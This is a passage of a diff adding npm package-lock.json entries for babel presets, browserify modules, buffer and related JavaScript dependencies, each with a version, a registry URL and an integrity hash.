"^6.24.1", + "babel-plugin-transform-es2015-for-of": "^6.22.0", + "babel-plugin-transform-es2015-function-name": "^6.24.1", + "babel-plugin-transform-es2015-literals": "^6.22.0", + "babel-plugin-transform-es2015-modules-amd": "^6.24.1", + "babel-plugin-transform-es2015-modules-commonjs": "^6.24.1", + "babel-plugin-transform-es2015-modules-systemjs": "^6.24.1", + "babel-plugin-transform-es2015-modules-umd": "^6.24.1", + "babel-plugin-transform-es2015-object-super": "^6.24.1", + "babel-plugin-transform-es2015-parameters": "^6.24.1", + "babel-plugin-transform-es2015-shorthand-properties": "^6.24.1", + "babel-plugin-transform-es2015-spread": "^6.22.0", + "babel-plugin-transform-es2015-sticky-regex": "^6.24.1", + "babel-plugin-transform-es2015-template-literals": "^6.22.0", + "babel-plugin-transform-es2015-typeof-symbol": "^6.22.0", + "babel-plugin-transform-es2015-unicode-regex": "^6.24.1", + "babel-plugin-transform-regenerator": "^6.24.1" + } + }, + "node_modules/babel-preset-fbjs": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/babel-preset-fbjs/-/babel-preset-fbjs-3.4.0.tgz", + "integrity": "sha512-9ywCsCvo1ojrw0b+XYk7aFvTH6D9064t0RIL1rtMf3nsa02Xw41MS7sZw216Im35xj/UY0PDBQsa1brUDDF1Ow==", + "peer": true, + "dependencies": { + "@babel/plugin-proposal-class-properties": "^7.0.0", + "@babel/plugin-proposal-object-rest-spread": "^7.0.0", + "@babel/plugin-syntax-class-properties": "^7.0.0", + "@babel/plugin-syntax-flow": "^7.0.0", + "@babel/plugin-syntax-jsx": "^7.0.0", + "@babel/plugin-syntax-object-rest-spread": "^7.0.0", + "@babel/plugin-transform-arrow-functions": "^7.0.0", + "@babel/plugin-transform-block-scoped-functions": "^7.0.0", + "@babel/plugin-transform-block-scoping": "^7.0.0", + "@babel/plugin-transform-classes": "^7.0.0", + "@babel/plugin-transform-computed-properties": "^7.0.0", + "@babel/plugin-transform-destructuring": "^7.0.0", + "@babel/plugin-transform-flow-strip-types": "^7.0.0", + "@babel/plugin-transform-for-of": "^7.0.0", + "@babel/plugin-transform-function-name": "^7.0.0", + "@babel/plugin-transform-literals": "^7.0.0", + "@babel/plugin-transform-member-expression-literals": "^7.0.0", + "@babel/plugin-transform-modules-commonjs": "^7.0.0", + "@babel/plugin-transform-object-super": "^7.0.0", + "@babel/plugin-transform-parameters": "^7.0.0", + "@babel/plugin-transform-property-literals": "^7.0.0", + "@babel/plugin-transform-react-display-name": "^7.0.0", + "@babel/plugin-transform-react-jsx": "^7.0.0", + "@babel/plugin-transform-shorthand-properties": "^7.0.0", + "@babel/plugin-transform-spread": "^7.0.0", + "@babel/plugin-transform-template-literals": "^7.0.0", + "babel-plugin-syntax-trailing-function-commas": "^7.0.0-beta.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/babel-preset-fbjs/node_modules/babel-plugin-syntax-trailing-function-commas": { + "version": "7.0.0-beta.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-trailing-function-commas/-/babel-plugin-syntax-trailing-function-commas-7.0.0-beta.0.tgz", + "integrity": "sha512-Xj9XuRuz3nTSbaTXWv3itLOcxyF4oPD8douBBmj7U9BBC6nEBYfyOJYQMf/8PJAFotC62UY5dFfIGEPr7WswzQ==", + "peer": true + }, + "node_modules/babel-preset-flow": { + "version": "6.23.0", + "resolved": "https://registry.npmjs.org/babel-preset-flow/-/babel-preset-flow-6.23.0.tgz", + "integrity": "sha1-5xIYiHCFrpoktb5Baa/7WZgWxJ0=", + "dev": true, + "dependencies": { + "babel-plugin-transform-flow-strip-types": "^6.22.0" + } + }, + "node_modules/babel-preset-react": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-preset-react/-/babel-preset-react-6.24.1.tgz", + "integrity": "sha1-umnfrqRfw+xjm2pOzqbhdwLJE4A=", + "dev": true, + "dependencies": { + "babel-plugin-syntax-jsx": "^6.3.13", + "babel-plugin-transform-react-display-name": "^6.23.0", + "babel-plugin-transform-react-jsx": "^6.24.1", + "babel-plugin-transform-react-jsx-self": "^6.22.0", + "babel-plugin-transform-react-jsx-source": "^6.22.0", + "babel-preset-flow": "^6.23.0" + } + }, + "node_modules/babel-preset-stage-2": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-preset-stage-2/-/babel-preset-stage-2-6.24.1.tgz", + "integrity": "sha1-2eKWD7PXEYfw5k7sYrwHdnIZvcE=", + "dependencies": { + "babel-plugin-syntax-dynamic-import": "^6.18.0", + "babel-plugin-transform-class-properties": "^6.24.1", + "babel-plugin-transform-decorators": "^6.24.1", + "babel-preset-stage-3": "^6.24.1" + } + }, + "node_modules/babel-preset-stage-3": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-preset-stage-3/-/babel-preset-stage-3-6.24.1.tgz", + "integrity": "sha1-g2raCp56f6N8sTj7kyb4eTSkg5U=", + "dependencies": { + "babel-plugin-syntax-trailing-function-commas": "^6.22.0", + "babel-plugin-transform-async-generator-functions": "^6.24.1", + "babel-plugin-transform-async-to-generator": "^6.24.1", + "babel-plugin-transform-exponentiation-operator": "^6.24.1", + "babel-plugin-transform-object-rest-spread": "^6.22.0" + } + }, + "node_modules/babel-register": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-register/-/babel-register-6.26.0.tgz", + "integrity": "sha1-btAhFz4vy0htestFxgCahW9kcHE=", + "dev": true, + "dependencies": { + "babel-core": "^6.26.0", + "babel-runtime": "^6.26.0", + "core-js": "^2.5.0", + "home-or-tmp": "^2.0.0", + "lodash": "^4.17.4", + "mkdirp": "^0.5.1", + "source-map-support": "^0.4.15" + } + }, + "node_modules/babel-runtime": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz", + "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", + "dependencies": { + "core-js": "^2.4.0", + "regenerator-runtime": "^0.11.0" + } + }, + "node_modules/babel-template": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-template/-/babel-template-6.26.0.tgz", + "integrity": "sha1-3gPi0WOWsGn0bdn/+FIfsaDjXgI=", + "dependencies": { + "babel-runtime": "^6.26.0", + "babel-traverse": "^6.26.0", + "babel-types": "^6.26.0", + "babylon": "^6.18.0", + "lodash": "^4.17.4" + } + }, + "node_modules/babel-traverse": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-traverse/-/babel-traverse-6.26.0.tgz", + "integrity": "sha1-RqnL1+3MYsjlwGTi0tjQ9ANXZu4=", + "dependencies": { + "babel-code-frame": "^6.26.0", + "babel-messages": "^6.23.0", + "babel-runtime": "^6.26.0", + "babel-types": "^6.26.0", + "babylon": "^6.18.0", + "debug": "^2.6.8", + "globals": "^9.18.0", + "invariant": "^2.2.2", + "lodash": "^4.17.4" + } + }, + "node_modules/babel-types": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-types/-/babel-types-6.26.0.tgz", + "integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=", + "dependencies": { + "babel-runtime": "^6.26.0", + "esutils": "^2.0.2", + "lodash": "^4.17.4", + "to-fast-properties": "^1.0.3" + } + }, + "node_modules/babel-walk": { + "version": "3.0.0-canary-5", + "resolved": "https://registry.npmjs.org/babel-walk/-/babel-walk-3.0.0-canary-5.tgz", + "integrity": "sha512-GAwkz0AihzY5bkwIY5QDR+LvsRQgB/B+1foMPvi0FZPMl5fjD7ICiznUiBdLYMH1QYe6vqu4gWYytZOccLouFw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.9.6" + }, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/babylon": { + "version": "6.18.0", + "resolved": "https://registry.npmjs.org/babylon/-/babylon-6.18.0.tgz", + "integrity": "sha1-ry87iPpvXB5MY00aD46sT1WzleM=", + "bin": { + "babylon": "bin/babylon.js" + } + }, + "node_modules/balanced-match": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", + "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=" + }, + "node_modules/base": { + "version": "0.11.2", + "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz", + "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==", + "dependencies": { + "cache-base": "^1.0.1", + "class-utils": "^0.3.5", + "component-emitter": "^1.2.1", + "define-property": "^1.0.0", + "isobject": "^3.0.1", + "mixin-deep": "^1.2.0", + "pascalcase": "^0.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/base/node_modules/define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dependencies": { + "is-descriptor": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/base/node_modules/is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/base/node_modules/is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/base/node_modules/is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dependencies": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/base/node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/base/node_modules/kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/bcrypt-pbkdf": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", + "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", + "dev": true, + "optional": true, + "dependencies": { + "tweetnacl": "^0.14.3" + } + }, + "node_modules/becke-ch--regex--s0-0-v1--base--pl--lib": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/becke-ch--regex--s0-0-v1--base--pl--lib/-/becke-ch--regex--s0-0-v1--base--pl--lib-1.4.0.tgz", + "integrity": "sha1-Qpzuu/pffpNueNc/vcfacWKyDiA=", + "dev": true + }, + "node_modules/big.js": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-3.2.0.tgz", + "integrity": "sha512-+hN/Zh2D08Mx65pZ/4g5bsmNiZUuChDiQfTUQ7qJr4/kuopCr88xZsAXv6mBoZEsUI4OuGHlX59qE94K2mMW8Q==", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/binary-extensions": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-1.8.0.tgz", + "integrity": "sha1-SOyNFt9Dd+rl+liEaCSAr02Vx3Q=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/bindings": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz", + "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==", + "dev": true, + "optional": true, + "dependencies": { + "file-uri-to-path": "1.0.0" + } + }, + "node_modules/bl": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/bl/-/bl-1.2.1.tgz", + "integrity": "sha1-ysMo977kVzDUBLaSID/LWQ4XLV4=", + "dev": true, + "dependencies": { + "readable-stream": "^2.0.5" + } + }, + "node_modules/block-stream": { + "version": "0.0.9", + "resolved": "https://registry.npmjs.org/block-stream/-/block-stream-0.0.9.tgz", + "integrity": "sha1-E+v+d4oDIFz+A3UUgeu0szAMEmo=", + "dev": true, + "dependencies": { + "inherits": "~2.0.0" + }, + "engines": { + "node": "0.4 || >=0.5.8" + } + }, + "node_modules/bluebird": { + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.1.tgz", + "integrity": "sha512-MKiLiV+I1AA596t9w1sQJ8jkiSr5+ZKi0WKrYGUn6d1Fx+Ij4tIj+m2WMQSGczs5jZVxV339chE8iwk6F64wjA==", + "dev": true + }, + "node_modules/bn.js": { + "version": "4.11.7", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.7.tgz", + "integrity": "sha512-LxFiV5mefv0ley0SzqkOPR1bC4EbpPx8LkOz5vMe/Yi15t5hzwgO/G+tc7wOtL4PZTYjwHu8JnEiSLumuSjSfA==", + "dev": true + }, + "node_modules/bo-selector": { + "version": "0.0.10", + "resolved": "https://registry.npmjs.org/bo-selector/-/bo-selector-0.0.10.tgz", + "integrity": "sha1-mBbcsArfN06oeUGoY7Ks/AJq+j4=", + "dev": true + }, + "node_modules/body": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/body/-/body-5.1.0.tgz", + "integrity": "sha1-5LoM5BCkaTYyM2dgnstOZVMSUGk=", + "dev": true, + "dependencies": { + "continuable-cache": "^0.3.1", + "error": "^7.0.0", + "raw-body": "~1.1.0", + "safe-json-parse": "~1.0.1" + } + }, + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha1-aN/1++YMUes3cl6p4+0xDcwed24=", + "dev": true + }, + "node_modules/brace-expansion": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.8.tgz", + "integrity": "sha1-wHshHHyVLsH479Uad+8NHTmQopI=", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/braces/-/braces-1.8.5.tgz", + "integrity": "sha1-uneWLhLf+WnWt2cR6RS3N4V79qc=", + "dev": true, + "dependencies": { + "expand-range": "^1.8.1", + "preserve": "^0.2.0", + "repeat-element": "^1.1.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/brorand": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/brorand/-/brorand-1.1.0.tgz", + "integrity": "sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8=", + "dev": true + }, + "node_modules/browser-pack": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/browser-pack/-/browser-pack-6.1.0.tgz", + "integrity": "sha512-erYug8XoqzU3IfcU8fUgyHqyOXqIE4tUTTQ+7mqUjQlvnXkOO6OlT9c/ZoJVHYoAaqGxr09CN53G7XIsO4KtWA==", + "dev": true, + "dependencies": { + "combine-source-map": "~0.8.0", + "defined": "^1.0.0", + "JSONStream": "^1.0.3", + "safe-buffer": "^5.1.1", + "through2": "^2.0.0", + "umd": "^3.0.0" + }, + "bin": { + "browser-pack": "bin/cmd.js" + } + }, + "node_modules/browser-resolve": { + "version": "1.11.3", + "resolved": "https://registry.npmjs.org/browser-resolve/-/browser-resolve-1.11.3.tgz", + "integrity": "sha512-exDi1BYWB/6raKHmDTCicQfTkqwN5fioMFV4j8BsfMU4R2DK/QfZfK7kOVkmWCNANf0snkBzqGqAJBao9gZMdQ==", + "dev": true, + "dependencies": { + "resolve": "1.1.7" + } + }, + "node_modules/browser-resolve/node_modules/resolve": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.1.7.tgz", + "integrity": "sha1-IDEU2CrSxe2ejgQRs5ModeiJ6Xs=", + "dev": true + }, + "node_modules/browser-stdout": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz", + "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==", + "dev": true + }, + "node_modules/browserify": { + "version": "16.2.2", + "resolved": "https://registry.npmjs.org/browserify/-/browserify-16.2.2.tgz", + "integrity": "sha512-fMES05wq1Oukts6ksGUU2TMVHHp06LyQt0SIwbXIHm7waSrQmNBZePsU0iM/4f94zbvb/wHma+D1YrdzWYnF/A==", + "dev": true, + "dependencies": { + "assert": "^1.4.0", + "browser-pack": "^6.0.1", + "browser-resolve": "^1.11.0", + "browserify-zlib": "~0.2.0", + "buffer": "^5.0.2", + "cached-path-relative": "^1.0.0", + "concat-stream": "^1.6.0", + "console-browserify": "^1.1.0", + "constants-browserify": "~1.0.0", + "crypto-browserify": "^3.0.0", + "defined": "^1.0.0", + "deps-sort": "^2.0.0", + "domain-browser": "^1.2.0", + "duplexer2": "~0.1.2", + "events": "^2.0.0", + "glob": "^7.1.0", + "has": "^1.0.0", + "htmlescape": "^1.1.0", + "https-browserify": "^1.0.0", + "inherits": "~2.0.1", + "insert-module-globals": "^7.0.0", + "JSONStream": "^1.0.3", + "labeled-stream-splicer": "^2.0.0", + "mkdirp": "^0.5.0", + "module-deps": "^6.0.0", + "os-browserify": "~0.3.0", + "parents": "^1.0.1", + "path-browserify": "~0.0.0", + "process": "~0.11.0", + "punycode": "^1.3.2", + "querystring-es3": "~0.2.0", + "read-only-stream": "^2.0.0", + "readable-stream": "^2.0.2", + "resolve": "^1.1.4", + "shasum": "^1.0.0", + "shell-quote": "^1.6.1", + "stream-browserify": "^2.0.0", + "stream-http": "^2.0.0", + "string_decoder": "^1.1.1", + "subarg": "^1.0.0", + "syntax-error": "^1.1.1", + "through2": "^2.0.0", + "timers-browserify": "^1.0.1", + "tty-browserify": "0.0.1", + "url": "~0.11.0", + "util": "~0.10.1", + "vm-browserify": "^1.0.0", + "xtend": "^4.0.0" + }, + "bin": { + "browserify": "bin/cmd.js" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/browserify-aes": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/browserify-aes/-/browserify-aes-1.0.6.tgz", + "integrity": "sha1-Xncl297x/Vkw1OurSFZ85FHEigo=", + "dev": true, + "dependencies": { + "buffer-xor": "^1.0.2", + "cipher-base": "^1.0.0", + "create-hash": "^1.1.0", + "evp_bytestokey": "^1.0.0", + "inherits": "^2.0.1" + } + }, + "node_modules/browserify-cache-api": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/browserify-cache-api/-/browserify-cache-api-3.0.1.tgz", + "integrity": "sha1-liR+hT8Gj9bg1FzHPwuyzZd47wI=", + "dev": true, + "dependencies": { + "async": "^1.5.2", + "through2": "^2.0.0", + "xtend": "^4.0.0" + } + }, + "node_modules/browserify-cipher": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/browserify-cipher/-/browserify-cipher-1.0.0.tgz", + "integrity": "sha1-mYgkSHS/XtTijalWZtzWasj8Njo=", + "dev": true, + "dependencies": { + "browserify-aes": "^1.0.4", + "browserify-des": "^1.0.0", + "evp_bytestokey": "^1.0.0" + } + }, + "node_modules/browserify-des": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/browserify-des/-/browserify-des-1.0.0.tgz", + "integrity": "sha1-2qJ3cXRwki7S/hhZQRihdUOXId0=", + "dev": true, + "dependencies": { + "cipher-base": "^1.0.1", + "des.js": "^1.0.0", + "inherits": "^2.0.1" + } + }, + "node_modules/browserify-incremental": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/browserify-incremental/-/browserify-incremental-3.1.1.tgz", + "integrity": "sha1-BxPLdYckemMqnwjPG9FpuHi2Koo=", + "dev": true, + "dependencies": { + "browserify-cache-api": "^3.0.0", + "JSONStream": "^0.10.0", + "through2": "^2.0.0", + "xtend": "^4.0.0" + }, + "bin": { + "browserifyinc": "bin/cmd.js" + }, + "peerDependencies": { + "browserify": "*" + } + }, + "node_modules/browserify-incremental/node_modules/jsonparse": { + "version": "0.0.5", + "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-0.0.5.tgz", + "integrity": "sha1-MwVCrT8KZUZlt3jz6y2an6UHrGQ=", + "dev": true, + "engines": [ + "node >= 0.2.0" + ] + }, + "node_modules/browserify-incremental/node_modules/JSONStream": { + "version": "0.10.0", + "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-0.10.0.tgz", + "integrity": "sha1-dDSdDYlSK3HzDwoD/5vSDKbxKsA=", + "dev": true, + "dependencies": { + "jsonparse": "0.0.5", + "through": ">=2.2.7 <3" + }, + "bin": { + "JSONStream": "index.js" + }, + "engines": { + "node": "*" + } + }, + "node_modules/browserify-rsa": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.0.1.tgz", + "integrity": "sha1-IeCr+vbyApzy+vsTNWenAdQTVSQ=", + "dev": true, + "dependencies": { + "bn.js": "^4.1.0", + "randombytes": "^2.0.1" + } + }, + "node_modules/browserify-sign": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.0.4.tgz", + "integrity": "sha1-qk62jl17ZYuqa/alfmMMvXqT0pg=", + "dev": true, + "dependencies": { + "bn.js": "^4.1.1", + "browserify-rsa": "^4.0.0", + "create-hash": "^1.1.0", + "create-hmac": "^1.1.2", + "elliptic": "^6.0.0", + "inherits": "^2.0.1", + "parse-asn1": "^5.0.0" + } + }, + "node_modules/browserify-zlib": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.2.0.tgz", + "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==", + "dev": true, + "dependencies": { + "pako": "~1.0.5" + } + }, + "node_modules/browserify/node_modules/buffer": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.1.0.tgz", + "integrity": "sha512-YkIRgwsZwJWTnyQrsBTWefizHh+8GYj3kbL1BTiAQ/9pwpino0G7B2gp5tx/FUBqUlvtxV85KNR3mwfAtv15Yw==", + "dev": true, + "dependencies": { + "base64-js": "^1.0.2", + "ieee754": "^1.1.4" + } + }, + "node_modules/browserify/node_modules/concat-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", + "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", + "dev": true, + "engines": [ + "node >= 0.8" + ], + "dependencies": { + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" + } + }, + "node_modules/browserify/node_modules/events": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/events/-/events-2.1.0.tgz", + "integrity": "sha512-3Zmiobend8P9DjmKAty0Era4jV8oJ0yGYe2nJJAxgymF9+N8F2m0hhZiMoWtcfepExzNKZumFU3ksdQbInGWCg==", + "dev": true, + "engines": { + "node": ">=0.4.x" + } + }, + "node_modules/browserify/node_modules/glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/browserify/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/browserify/node_modules/tty-browserify": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/tty-browserify/-/tty-browserify-0.0.1.tgz", + "integrity": "sha512-C3TaO7K81YvjCgQH9Q1S3R3P3BtN3RIM8n+OvX4il1K1zgE8ZhI0op7kClgkxtutIE8hQrcrHBXvIheqKUUCxw==", + "dev": true + }, + "node_modules/browserify/node_modules/vm-browserify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-1.1.0.tgz", + "integrity": "sha512-iq+S7vZJE60yejDYM0ek6zg308+UZsdtPExWP9VZoCFCz1zkJoXFnAX7aZfd/ZwrkidzdUZL0C/ryW+JwAiIGw==", + "dev": true + }, + "node_modules/browserslist": { + "version": "3.2.8", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-3.2.8.tgz", + "integrity": "sha512-WHVocJYavUwVgVViC0ORikPHQquXwVh939TaelZ4WDqpWgTX/FsGhl/+P4qBUAGcRvtOgDgC+xftNWWp2RUTAQ==", + "dev": true, + "dependencies": { + "caniuse-lite": "^1.0.30000844", + "electron-to-chromium": "^1.3.47" + }, + "bin": { + "browserslist": "cli.js" + } + }, + "node_modules/bser": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz", + "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==", + "peer": true, + "dependencies": { + "node-int64": "^0.4.0" + } + }, + "node_modules/buffer": { + "version": "4.9.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.1.tgz", + "integrity": "sha1-bRu2AbB6TvztlwlBMgkwJ8lbwpg=", + "deprecated": "This version of 'buffer' is out-of-date. You must update to v4.9.2 or newer", + "dev": true, + "dependencies": { + "base64-js": "^1.0.2", + "ieee754": "^1.1.4", + "isarray": "^1.0.0" + } + }, + "node_modules/buffer-crc32": { + "version": "0.2.13", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", + "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/buffer-from": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.0.tgz", + "integrity": "sha512-c5mRlguI/Pe2dSZmpER62rSCu0ryKmWddzRYsuXc50U2/g8jMOulc31VZMa4mYx31U5xsmSOpDCgH88Vl9cDGQ==" + }, + "node_modules/buffer-xor": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/buffer-xor/-/buffer-xor-1.0.3.tgz", + "integrity": "sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk=", + "dev": true + }, + "node_modules/builtin-modules": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-1.1.1.tgz", + "integrity": "sha1-Jw8HbFpywC9bZaR9+Uxf46J4iS8=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/builtin-status-codes": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz", + "integrity": "sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug=", + "dev": true + }, + "node_modules/bytes": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-1.0.0.tgz", + "integrity": "sha1-NWnt6Lo0MV+rmcPpLLBMciDeH6g=", + "dev": true + }, + "node_modules/cacache": { + "version": "10.0.4", + "resolved": "https://registry.npmjs.org/cacache/-/cacache-10.0.4.tgz", + "integrity": 